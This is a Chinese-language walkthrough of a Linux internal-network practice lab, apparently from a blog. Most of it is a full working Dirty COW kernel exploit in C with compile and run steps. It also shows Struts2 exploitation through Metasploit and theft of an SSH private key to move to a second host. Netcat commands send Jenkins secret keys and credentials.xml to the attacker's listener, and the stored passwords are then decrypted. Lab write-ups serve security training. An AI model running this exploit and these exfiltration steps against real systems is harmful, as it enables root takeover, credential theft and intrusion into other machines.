当前位置: 首页 > news >正文

CSK linux内网靶场

nmap信息收集

nmap 172.16.250.0/24

 172.16.250.10
22/tcp   open  ssh
80/tcp   open  http
8009/tcp open  ajp13
8080/tcp open  http-proxy
 172.16.250.30

22/tcp open  ssh
 172.16.250.50
 
22/tcp open  ssh

拿第一台主机的shell

看到数据包有action,怀疑是struts2

用msf打,成功返回shell

(记得要写payload)

发现是普通用户的权限

脏牛提权

/*
 * CVE-2016-5195 dirtypoc
 *
 * This PoC is memory only and doesn't write anything on the filesystem.
 * /!\ Beware, it triggers a kernel crash a few minutes.
 *
 * gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread
 */

#define _GNU_SOURCE
#include <err.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/types.h>


#define SHELLCODE	"\x31\xc0\xc3"
#define SPACE_SIZE	256
#define LIBC_PATH	"/lib/x86_64-linux-gnu/libc.so.6"
#define LOOP		0x1000000

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

struct mem_arg  {
	struct stat st;
	off_t offset;
	unsigned long patch_addr;
	unsigned char *patch;
	unsigned char *unpatch;
	size_t patch_size;
	bool do_patch;
	void *map;
};


static int check(bool do_patch, const char *thread_name)
{
	uid_t uid;

	uid = getuid();

	if (do_patch) {
		if (uid == 0) {
			printf("[*] patched (%s)\n", thread_name);
			return 1;
		}
	} else {
		if (uid != 0) {
			printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name);
			return 1;
		}
	}

	return 0;
}


static void *madviseThread(void *arg)
{
	struct mem_arg *mem_arg;
	size_t size;
	void *addr;
	int i, c = 0;

	mem_arg = (struct mem_arg *)arg;
	addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1)));
	size = mem_arg->offset - (unsigned long)addr;

	for(i = 0; i < LOOP; i++) {
		c += madvise(addr, size, MADV_DONTNEED);

		if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
			break;
	}

	if (c == 0x1337)
		printf("[*] madvise = %d\n", c);

	return NULL;
}

static void *procselfmemThread(void *arg)
{
	struct mem_arg *mem_arg;
	int fd, i, c = 0;
	unsigned char *p;

	mem_arg = (struct mem_arg *)arg;
	p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;

	fd = open("/proc/self/mem", O_RDWR);
	if (fd == -1)
		err(1, "open(\"/proc/self/mem\"");

	for (i = 0; i < LOOP; i++) {
		lseek(fd, mem_arg->offset, SEEK_SET);
		c += write(fd, p, mem_arg->patch_size);

		if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
			break;
	}

	if (c == 0x1337)
		printf("[*] /proc/self/mem %d\n", c);

	close(fd);

	return NULL;
}

static int get_range(unsigned long *start, unsigned long *end)
{
	char line[4096];
	char filename[PATH_MAX];
	char flags[32];
	FILE *fp;
	int ret;

	ret = -1;

	fp = fopen("/proc/self/maps", "r");
	if (fp == NULL)
		err(1, "fopen(\"/proc/self/maps\")");

	while (fgets(line, sizeof(line), fp) != NULL) {
		sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);

		if (strstr(flags, "r-xp") == NULL)
			continue;

		if (strstr(filename, "/libc-") == NULL)
			continue;
		//printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);
		ret = 0;
		break;
	}

	fclose(fp);

	return ret;
}

static void getroot(void)
{
	execlp("su", "su", NULL);
	err(1, "failed to execute \"su\"");
}

static void exploit(struct mem_arg *mem_arg, bool do_patch)
{
	pthread_t pth1, pth2;

	printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch");

	mem_arg->do_patch = do_patch;

	pthread_create(&pth1, NULL, madviseThread, mem_arg);
	pthread_create(&pth2, NULL, procselfmemThread, mem_arg);

	pthread_join(pth1, NULL);
	pthread_join(pth2, NULL);
}

static unsigned long get_getuid_addr(void)
{
	unsigned long addr;
	void *handle;
	char *error;

	dlerror();

	handle = dlopen("libc.so.6", RTLD_LAZY);
	if (handle == NULL) {
		fprintf(stderr, "%s\n", dlerror());
		exit(EXIT_FAILURE);
	}

	addr = (unsigned long)dlsym(handle, "getuid");
	error = dlerror();
	if (error != NULL) {
		fprintf(stderr, "%s\n", error);
		exit(EXIT_FAILURE);
	}

	dlclose(handle);

	return addr;
}

int main(int argc, char *argv[])
{
	unsigned long start, end;
	unsigned long getuid_addr;
	struct mem_arg mem_arg;
	struct stat st;
	pid_t pid;
	int fd;

	if (get_range(&start, &end) != 0)
		errx(1, "failed to get range");

	printf("[*] range: %lx-%lx]\n", start, end);

	getuid_addr = get_getuid_addr();
	printf("[*] getuid = %lx\n", getuid_addr);

	mem_arg.patch = malloc(sizeof(SHELLCODE)-1);
	if (mem_arg.patch == NULL)
		err(1, "malloc");

	mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1);
	if (mem_arg.unpatch == NULL)
		err(1, "malloc");

	memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1);
	memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1);
	mem_arg.patch_size = sizeof(SHELLCODE)-1;
	mem_arg.do_patch = true;

	fd = open(LIBC_PATH, O_RDONLY);
	if (fd == -1)
		err(1, "open(\"" LIBC_PATH "\")");
	if (fstat(fd, &st) == -1)
		err(1, "fstat");

	mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
	if (mem_arg.map == MAP_FAILED)
		err(1, "mmap");
	close(fd);

	printf("[*] mmap %p\n", mem_arg.map);

	mem_arg.st = st;
	mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start);

	exploit(&mem_arg, true);

	pid = fork();
	if (pid == -1)
		err(1, "fork");

	if (pid == 0) {
		getroot();
	} else {
		sleep(2);
		exploit(&mem_arg, false);
		if (waitpid(pid, NULL, 0) == -1)
			warn("waitpid");
	}

	return 0;
}

upload /home/kali/tools/improve_priv/dirtycow-mem.c /tmp/dirtycow-mem.c

上传文件

shell

gcc -Wall -o dirtycow-mem dirtycow-mem.c -ldl -lpthread

编译文件

python3 -c "import pty;pty.spawn('/bin/bash')" #转化为有交互式的tty窗口

./dirtycow-mem

成功提权

echo 0 > /proc/sys/vm/dirty_writeback_centisecs #将写回脏页面的间隔时间设置为0秒。这意味着如果有脏页面需要写回,内核会立即进行写回操作,而不等待指定的时间间隔。

echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn #将Linux内核的系统崩溃(panic)功能打开,并启用不同类型的崩溃触发器。这样,在出现严重问题时,内核会自动崩溃并停止系统运行。这有助于避免数据损坏和其他可能的问题。

横向移动第二台机器

cat ~/.bash_history 查看上传登陆时执行的指令(在 Linux 和类 Unix 系统中,~(波浪号)是一个特殊的符号,它代表当前用户的主目录(home directory),而不是根目录(root directory))

发现是通过密钥文件来登陆的

cp ~/.ssh/id_rsa /tmp/id_rsa

chmod777 id_rsa

download /tmp/id_rsa /root/id_rsa

将文件下载下来

尝试横向

chmod 777 *

ssh -i id_rsa root@172.16.250.30

成功拿shell

发现开放了8080端口,就说明有DMZ区

发现这可能是jeckins

建立路由

use auxiliary/server/socks_proxy

run post/multi/manage/autoroute

use auxiliary/server/socks_proxy

run

发现了密码

修改js变为明文

2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=

文件传递

利用nc将文件反向传递,如果想通过30让50上线的话,需要将流量进行封装成ssh通道,因为10可以访问30的22端口

nc -lvp 1234 > master.key

nc -lvp 1234 > hudson.util.Secret

nc -lvp 1234 > credentials.xml

nc 172.16.250.128 1234 < /home/jenkins/secrets/hudson.util.Secret

nc 172.16.250.128 1234 < /home/jenkins/secrets/master.key

nc 172.16.250.128 1234 < /home/jenkins/credentials.xml

破解密匙:
https://github.com/cheetz/jenkins-decrypt

python decrypt.py master.key hudson.util.Secret credentials.xml

相关文章:

  • Day33 第八章 贪心算法 part06
  • Spring Boot的启动流程
  • 【软考-架构】2.1、操作系统概述-进程管理-同步互斥
  • gradle libs.versions.toml文件
  • 【NLP 30、文本匹配任务 —— 传统机器学习算法】
  • android12 屏幕亮度控制修改为线性变化
  • Apache Shiro 反序列化漏洞全解析(Shiro-550 Shiro-721)
  • SQL 全面指南:从基础语法到高级查询与权限控制
  • C++运算符重载的学习笔记
  • 初阶数据结构习题【6】(3顺序表和链表)—— 206. 反转链表
  • 大模型——基于 DIFY 的自动化数据分析实战
  • 文件魔数与其他特征:揭开文件识别的神秘面纱
  • 深入理解指针与回调函数:从基础到实践
  • 【华为】查看防火墙会话表命令
  • 服务器时间同步
  • 覆盖率记录, 非cross bin
  • Kafka底层结构
  • 使用winlogbeat采集windows日志
  • 《 C++ 点滴漫谈: 二十九 》风格 vs. C++ 风格:类型转换的对决与取舍
  • 解锁智能变革密码:浙江大学2025年DeepSeek行业应用案例集深度解析
  • 国家出口管制工作协调机制办公室部署开展打击战略矿产走私出口专项行动
  • 秦洪看盘|重估叙事主题卷土重来,给A股注入新活力
  • 教育部、国家发改委联合启动实施教师教育能力提升工程
  • 特色业务多点开花,苏州银行擦亮金融为民底色
  • 美国与胡塞武装达成停火协议,美伊相向而行?
  • 是否有中国公民受印巴冲突影响?外交部:建议中国公民避免前往冲突涉及地点